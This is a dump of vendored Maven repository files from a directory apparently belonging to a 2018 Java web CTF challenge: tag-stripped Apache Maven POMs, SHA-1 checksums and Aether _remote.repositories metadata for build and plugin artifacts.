required. org.apache.maven maven-settings org.apache.maven maven-artifact-test test org.apache.maven maven-profile org.apache.maven maven-model org.apache.maven maven-artifact-manager org.apache.maven maven-plugin-registry org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-utils org.apache.maven maven-artifact org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-project/2.2.1/maven-project-2.2.1.pom.sha1 ================================================ d96e4545b4700ac177430b5189c3f2aa54f62ca1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-repository-metadata-2.0.6.pom>central= maven-repository-metadata-2.0.6.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.jar.sha1 ================================================ ae64379396d2eba33616ce1e0a458c3a744b317b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-repository-metadata Maven Repository Metadata Model Maven Plugin Mapping org.codehaus.modello modello-maven-plugin 1.0-alpha-8 1.0.0 src/main/mdo/metadata.mdo org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.6/maven-repository-metadata-2.0.6.pom.sha1 ================================================ bdcd11054562df6124286aaf252ae8f256879e26 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-repository-metadata-2.0.9.jar>central= maven-repository-metadata-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.jar.sha1 ================================================ dd79022a827b1d577865d5c97f8ad0c7d6b067b7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-repository-metadata Maven Repository Metadata Model Maven Plugin Mapping org.codehaus.modello modello-maven-plugin 1.0-alpha-8 1.0.0 src/main/mdo/metadata.mdo org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.0.9/maven-repository-metadata-2.0.9.pom.sha1 ================================================ dc5dac36e8c773d8645a681b71b3d80a3e3b8916 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-repository-metadata-2.2.1.jar>central= maven-repository-metadata-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.jar.sha1 ================================================ 98f0c07fcf1eeb213bef8d9316a9935184084b06 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-repository-metadata Maven Repository Metadata Model Per-directory repository metadata. org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/metadata.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/2.2.1/maven-repository-metadata-2.2.1.pom.sha1 ================================================ 415f88d96ea04b0fcef38c50123da1ccc2be49d2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-repository-metadata-3.0.pom>central= maven-repository-metadata-3.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.jar.sha1 ================================================ e3c41f7565b1e189ff7a312796b9d2c470c09a8b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-repository-metadata Maven Repository Metadata Model Per-directory repository metadata. org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin 1.1.0 src/main/mdo/metadata.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-repository-metadata/3.0/maven-repository-metadata-3.0.pom.sha1 ================================================ 5126010cefcb80ed5dc6eb066541b546dbdbc971 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-settings-2.0.6.jar>central= maven-settings-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.jar.sha1 ================================================ 5da16cf9def50e3a352cd7e8923a49ebd72003b8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom ================================================ maven org.apache.maven 2.0.6 4.0.0 maven-settings Maven Local Settings Model org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/settings.mdo org.apache.maven maven-model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.6/maven-settings-2.0.6.pom.sha1 ================================================ 6e8ca6b7fce58a28d2b73774fe277593af14d82a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-settings-2.0.9.pom>central= maven-settings-2.0.9.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.jar.sha1 ================================================ ab8d338c00fab0db29af358ab0676c3c02d7329f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.pom ================================================ maven org.apache.maven 2.0.9 4.0.0 maven-settings Maven Local Settings Model org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/settings.mdo org.apache.maven maven-model org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.0.9/maven-settings-2.0.9.pom.sha1 ================================================ f1fde243f26152cc66f7f1d6b4e3bb19d39d6847 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:18 CST 2018 maven-settings-2.2.1.jar>central= maven-settings-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.jar.sha1 ================================================ 2236ffe71fa5f78ce42b0f5fc22c54ed45f14294 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-settings Maven Local Settings Model org.apache.maven maven-model org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-container-default org.codehaus.modello modello-maven-plugin 1.0.0 src/main/mdo/settings.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/2.2.1/maven-settings-2.2.1.pom.sha1 ================================================ d54135b84370b3b0b70d84ffbb4ddf161c303d56 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-settings-3.0.jar>central= maven-settings-3.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.jar.sha1 ================================================ 8ee129adae535dd610f2dc952fddce68ac42fd86 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-settings Maven Settings Maven Settings org.codehaus.plexus plexus-utils org.codehaus.modello modello-maven-plugin 1.1.0 src/main/mdo/settings.mdo ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings/3.0/maven-settings-3.0.pom.sha1 ================================================ efc9c618ca5b82f76d1894977482069fe0e4565a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-settings-builder-3.0.pom>central= maven-settings-builder-3.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.jar.sha1 ================================================ 08234c1bdf7a9a28c671b0abf11f8adaa66440cd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom ================================================ 4.0.0 org.apache.maven maven 3.0 maven-settings-builder Maven Settings Builder org.codehaus.plexus plexus-utils org.codehaus.plexus plexus-interpolation org.codehaus.plexus plexus-component-annotations org.apache.maven maven-settings org.sonatype.plexus plexus-sec-dispatcher org.codehaus.plexus plexus-component-metadata ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-settings-builder/3.0/maven-settings-builder-3.0.pom.sha1 ================================================ 69a41566b573bda12bd2bb7dcb64d30da834cb9c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-toolchain-2.0.9.jar>central= maven-toolchain-2.0.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.jar.sha1 ================================================ db9f7eb8b6708b7ee46db0f0357fed43ef555793 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.pom ================================================ org.apache.maven maven 2.0.9 4.0.0 maven-toolchain Maven Toolchains junit junit 3.8.1 test org.apache.maven maven-core 2.0.9 org.apache.maven maven-artifact 2.0.9 org.codehaus.modello modello-maven-plugin java xsd xpp3-reader 1.0.0 false src/main/mdo/toolchains.xml maven-shade-plugin org.apache.maven.plugins shading package shade ${project.groupId}:${project.artifactId} org.codehaus.plexus.util org.codehaus.plexus.util.xml.Xpp3Dom org.codehaus.plexus.util.xml.pull.* ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.0.9/maven-toolchain-2.0.9.pom.sha1 ================================================ d2cd1efecdec107c59eff53ac1510f2fc145956f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-toolchain-2.2.1.jar>central= maven-toolchain-2.2.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.jar.sha1 ================================================ 0be589179cfbbad11e48572bf1a28e3490c7b197 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom ================================================ 4.0.0 org.apache.maven maven 2.2.1 maven-toolchain Maven Toolchains junit junit 3.8.1 test org.apache.maven maven-core org.apache.maven maven-artifact org.codehaus.modello modello-maven-plugin java xsd xpp3-reader 1.0.0 false src/main/mdo/toolchains.mdo maven-shade-plugin org.apache.maven.plugins shading package shade ${project.groupId}:${project.artifactId} org.codehaus.plexus.util org.codehaus.plexus.util.xml.Xpp3Dom org.codehaus.plexus.util.xml.pull.* ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-toolchain/2.2.1/maven-toolchain-2.2.1.pom.sha1 ================================================ ef19c9782d233f4515cf83b4208dd04731ed8989 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 maven-plugin-annotations-3.2.jar>central= maven-plugin-annotations-3.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.jar.sha1 ================================================ 06959f227cb1d36470877ce56c7425fe6626dac2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.pom ================================================ 4.0.0 maven-plugin-tools org.apache.maven.plugin-tools 3.2 maven-plugin-annotations Maven Plugin Java 5 Annotations Java 5 annotations to use in Mojos. org.apache.maven maven-artifact 3.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-annotations/3.2/maven-plugin-annotations-3.2.pom.sha1 ================================================ a0eea9feb9210bdc2fc4a5a5e406d2b85b08a716 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:11 CST 2018 maven-plugin-tools-3.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/maven-plugin-tools-3.2.pom ================================================ 4.0.0 maven-parent org.apache.maven 22 ../pom/maven/pom.xml org.apache.maven.plugin-tools maven-plugin-tools 3.2 pom Maven Plugin Tools The Maven Plugin Tools contains the necessary tools to be able to produce Maven Plugins in scripting languages and to generate rebarbative content like descriptor, help and documentation. http://maven.apache.org/plugin-tools/ 2004 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://old.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ Tony Chemit Tinguaro Barreno 2.2.1 maven-script maven-plugin-tools-generators maven-plugin-tools-api maven-plugin-tools-java maven-plugin-tools-javadoc maven-plugin-annotations maven-plugin-tools-annotations maven-plugin-tools-ant maven-plugin-tools-beanshell maven-plugin-tools-model maven-plugin-plugin scm:svn:http://svn.apache.org/repos/asf/maven/plugin-tools/tags/maven-plugin-tools-3.2 scm:svn:https://svn.apache.org/repos/asf/maven/plugin-tools/tags/maven-plugin-tools-3.2 http://svn.apache.org/viewvc/maven/plugin-tools/tags/maven-plugin-tools-3.2 jira http://jira.codehaus.org/browse/MPLUGIN Jenkins https://builds.apache.org/job/maven-plugin-tools/ apache.website scp://people.apache.org/www/maven.apache.org/plugin-tools/ 1.2 2.2.1 1.7.1 1.6 org.apache.maven.plugin-tools maven-plugin-tools-api ${project.version} org.apache.maven.plugin-tools maven-plugin-tools-generators ${project.version} org.apache.maven.plugin-tools maven-plugin-tools-model ${project.version} org.apache.maven.plugin-tools maven-plugin-tools-java ${project.version} org.apache.maven.plugin-tools maven-plugin-tools-annotations ${project.version} org.apache.maven.plugin-tools maven-plugin-annotations ${project.version} org.apache.maven.plugin-tools maven-plugin-tools-beanshell ${project.version} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-plugin-descriptor ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-component-annotations 1.5.5 junit junit org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-archiver 2.1.1 org.codehaus.plexus plexus-velocity 1.1.8 velocity velocity org.apache.velocity velocity 1.7 com.thoughtworks.qdox qdox 1.12.1 asm asm 3.3.1 asm asm-commons 3.3.1 org.apache.maven.plugin-testing maven-plugin-testing-harness ${pluginTestingHarnessVersion} test easymock easymock 1.2_Java1.3 test junit junit 3.8.2 test org.easytesting fest-assert 1.4 test org.apache.maven.plugins maven-compiler-plugin 2.5 org.apache.maven.plugins maven-site-plugin 3.1 scp://people.apache.org/www/maven.apache.org/plugin-tools-${project.version} org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/plugin-tools/tags org.codehaus.plexus plexus-component-metadata 1.5.5 generate-metadata generate-test-metadata reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.6 org.apache.maven.plugins maven-javadoc-plugin 2.8 true http://sonatype.github.com/sonatype-aether/apidocs/ non-aggregate javadoc aggregate aggregate org.apache.maven.plugins maven-jxr-plugin 2.3 non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 non-aggregate checkstyle aggregate false checkstyle-aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugin-tools/maven-plugin-tools/3.2/maven-plugin-tools-3.2.pom.sha1 ================================================ cf7e43c094bcf2eae4234822a2676e14cc63a12d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:22 CST 2018 maven-clean-plugin-2.5.jar>central= maven-clean-plugin-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.jar.sha1 ================================================ 75653decaefa85ca8114ff3a4f869bb2ee6d605d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom ================================================ 4.0.0 org.apache.maven.plugins maven-plugins 22 ../maven-plugins/pom.xml maven-clean-plugin 2.5 maven-plugin Maven Clean Plugin The Maven Clean Plugin is a plugin that removes files generated at build-time in a project's directory. 2001 ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-clean-plugin-2.5 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-clean-plugin-2.5 http://svn.apache.org/viewvc/maven/plugins/tags/maven-clean-plugin-2.5 JIRA http://jira.codehaus.org/browse/MCLEAN 2.0.6 org.apache.maven maven-plugin-api ${mavenVersion} org.codehaus.plexus plexus-utils 3.0 org.apache.maven.shared maven-plugin-testing-harness 1.1 test run-its org.apache.maven.plugins maven-invoker-plugin true true src/it ${project.build.directory}/it */pom.xml setup verify ${project.build.directory}/local-repo src/it/settings.xml clean ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom.sha1 ================================================ 8571a1cd21bed4fe28656c3303526fa7d1e582ad ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:34 CST 2018 maven-compiler-plugin-3.3.jar>central= maven-compiler-plugin-3.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.jar.sha1 ================================================ 2ba1a928967843fceea2976d8bc6aa8accdf2145 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.pom ================================================ 4.0.0 org.apache.maven.plugins maven-plugins 27 ../maven-plugins/pom.xml maven-compiler-plugin 3.3 maven-plugin Apache Maven Compiler Plugin The Compiler Plugin is used to compile the sources of your project. 2001 ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-compiler-plugin-3.3 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-compiler-plugin-3.3 http://svn.apache.org/viewvc/maven/plugins/tags/maven-compiler-plugin-3.3 JIRA http://jira.codehaus.org/browse/MCOMPILER apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} 2.2.1 3.3 2.5 1.8.0 2.7.0-01 2.0.4-04 2.2.0 Jan Sievers org.apache.maven.plugin-tools maven-plugin-annotations provided org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven.reporting maven-reporting-api org.apache.maven.wagon wagon-file org.apache.maven.wagon wagon-http-lightweight org.apache.maven.wagon wagon-ssh org.apache.maven.wagon wagon-ssh-external commons-cli commons-cli classworlds classworlds org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-interactivity-api org.apache.maven maven-toolchain 2.2.1 org.apache.maven.shared maven-shared-utils 0.7 org.apache.maven.shared maven-shared-incremental 1.1 org.codehaus.plexus plexus-compiler-api ${plexusCompilerVersion} org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-compiler-manager ${plexusCompilerVersion} org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-compiler-javac ${plexusCompilerVersion} runtime org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-container-default 1.5.5 org.apache.maven.plugin-testing maven-plugin-testing-harness 2.0-alpha-1 test org.mockito mockito-core 1.9.5 test junit junit 4.8.1 test org.apache.rat apache-rat-plugin src/it/jdk16-annotation/src/main/resources/META-INF/services/javax.annotation.processing.Processor .java-version maven-enforcer-plugin enforce-bytecode-version 1.5 org.apache.openjpa:openjpa org.codehaus.groovy:groovy-eclipse-batch run-its org.apache.maven.plugins maven-invoker-plugin integration-test true src/it ${project.build.directory}/it */pom.xml extras/*/pom.xml verify ${project.build.directory}/local-repo src/it/settings.xml clean test-compile org.codehaus.groovy groovy-eclipse-compiler ${groovyEclipseCompilerVersion} test org.codehaus.groovy groovy-eclipse-batch ${groovy-eclipse-batch} test org.codehaus.groovy groovy-all ${groovyVersion} test org.apache.openjpa openjpa ${openJpaVersion} false true plexus-snapshots Plexus Snapshot Repository https://oss.sonatype.org/content/repositories/plexus-snapshots ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-compiler-plugin/3.3/maven-compiler-plugin-3.3.pom.sha1 ================================================ b9b64b464ffb471772100841d18d45f21e07a66f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:42 CST 2018 maven-deploy-plugin-2.7.jar>central= maven-deploy-plugin-2.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.jar.sha1 ================================================ 6dadfb75679ca010b41286794f737088ebfe12fd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.pom ================================================ 4.0.0 maven-plugins org.apache.maven.plugins 22 ../maven-plugins/pom.xml maven-deploy-plugin 2.7 maven-plugin Maven Deploy Plugin Uploads the project artifacts to the internal remote repository. 2004 ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-deploy-plugin-2.7 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-deploy-plugin-2.7 http://svn.apache.org/viewvc/maven/plugins/tags/maven-deploy-plugin-2.7 JIRA http://jira.codehaus.org/browse/MDEPLOY 2.0.6 org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.codehaus.plexus plexus-utils 1.5.6 org.apache.maven.plugin-testing maven-plugin-testing-harness 1.2 test junit junit 3.8.2 test run-its org.apache.maven.plugins maven-invoker-plugin 1.5 true src/it ${project.build.directory}/it */pom.xml */non-default-pom.xml setup verify ${project.build.directory}/local-repo src/it/settings.xml deploy integration-test install run reporting org.apache.maven.plugins maven-changes-plugin 2.3 Type,Key,Summary,Assignee,Status,Resolution,Fix Version true Closed Type,Key jira-report ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-deploy-plugin/2.7/maven-deploy-plugin-2.7.pom.sha1 ================================================ df67cefd776bb81db9273bc7b9921a47b81428f3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:22 CST 2018 maven-install-plugin-2.4.jar>central= maven-install-plugin-2.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.jar.sha1 ================================================ 9d1316166fe4c313f56276935e08df11f45267c2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.pom ================================================ 4.0.0 maven-plugins org.apache.maven.plugins 23 ../maven-plugins/pom.xml maven-install-plugin 2.4 maven-plugin Maven Install Plugin Copies the project artifacts to the user's local repository. 2004 ${mavenVersion} scm:svn:http://svn.apache.org/repos/asf/maven/plugins/tags/maven-install-plugin-2.4 scm:svn:https://svn.apache.org/repos/asf/maven/plugins/tags/maven-install-plugin-2.4 http://svn.apache.org/viewvc/maven/plugins/tags/maven-install-plugin-2.4 jira http://jira.codehaus.org/browse/MINSTALL 2.0.6 3.1 org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-artifact-manager ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven.plugin-tools maven-plugin-annotations ${mavenPluginPluginVersion} provided org.apache.maven.plugin-testing maven-plugin-testing-harness 1.2 test org.codehaus.plexus plexus-utils 3.0.5 org.codehaus.plexus plexus-digest 1.0 Ludwig Magnusson org.apache.maven.plugins maven-plugin-plugin ${mavenPluginPluginVersion} true mojo-descriptor process-classes descriptor help-goal helpmojo org.apache.maven.plugins maven-plugin-plugin ${mavenPluginPluginVersion} run-its org.apache.maven.plugins maven-invoker-plugin 1.7 true src/it ${project.build.directory}/it */pom.xml */non-default-pom.xml setup verify ${project.build.directory}/local-repo src/it/settings.xml true clean install ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-install-plugin/2.4/maven-install-plugin-2.4.pom.sha1 ================================================ a94328f3fcee1cebefa3d1224caa0050682da487 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/plugins/maven-plugins/22/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:20 CST 2018 maven-plugins-22.pom>central= ================================================ 